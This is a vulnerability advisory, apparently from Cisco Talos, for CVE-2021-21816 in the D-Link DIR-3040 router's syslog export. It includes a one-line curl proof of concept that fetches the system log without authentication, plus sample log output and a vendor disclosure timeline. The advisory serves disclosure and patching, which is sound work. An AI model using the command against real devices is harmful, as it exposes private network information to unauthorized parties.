CVE-2021-21816
An information disclosure vulnerability exists in the Syslog functionality of D-LINK DIR-3040 1.13B03. A specially crafted network request can lead to the disclosure of sensitive information. An attacker can send an HTTP request to trigger this vulnerability.
D-LINK DIR-3040 1.13B03
https://us.dlink.com/en/products/dir-3040-smart-ac3000-high-power-wi-fi-tri-band-gigabit-router
6.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
CWE-200 - Information Exposure
The DIR-3040 is an AC3000-based wireless internet router.
A feature provided by this device is the remote viewing of the device’s system log. This is normally hidden behind the authenticated web UI at https://<router ip>/SystemLog.html
which provides a button to export and retrieve the system log over HTTP.
If an authenticated user has exported the log at least once during the current power cycle of the device, the log itself is retrievable by anyone on the network without authentication at https://<router ip>/messages
Edited for brevity as there can be a lot of information here such as interfaces, process lists and errors encountered.
$ curl -k https://192.168.100.1/messages
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 –:–:– –:–:– –:–:– 02021-04-05 11:36:07 syslog: dnssd_clientstub ConnectToServer: connect()-> No of tries: 1
2021-04-05 11:36:08 syslog: dnssd_clientstub ConnectToServer: connect()-> No of tries: 2
2021-04-05 11:36:09 syslog: dnssd_clientstub ConnectToServer: connect()-> No of tries: 3
2021-04-05 11:36:10 syslog: dnssd_clientstub ConnectToServer: connect() failed path:/var/run/mdnsd Socket:27 Err:-1 Errno:0 Success
2021-04-05 11:36:10 syslog: dnssd_clientstub DNSServiceRefDeallocate called with NULL DNSServiceRef
2021-04-05 11:36:13 syslog: dnssd_clientstub ConnectToServer: connect()-> No of tries: 1
2021-04-05 11:36:14 syslog: dnssd_clientstub ConnectToServer: connect()-> No of tries: 2
2021-04-05 11:36:15 syslog: dnssd_clientstub ConnectToServer: connect()-> No of tries: 3
2021-04-05 11:36:16 syslog: dnssd_clientstub ConnectToServer: connect() failed path:/var/run/mdnsd Socket:27 Err:-1 Errno:0 Success
2021-04-05 11:36:16 syslog: dnssd_clientstub DNSServiceRefDeallocate called with NULL DNSServiceRef
2021-04-28 - Vendor disclosure
2021-05-12 - Vendor acknowledged
2021-06-08 - Vendor provided patch for Talos to test
2021-06-09 - Talos provided feedback on patch
2021-06-23 - Talos follow up with vendor
2021-07-13 - Vendor patched
2021-07-15 - Public Release
Discovered by Dave McDaniel of Cisco Talos.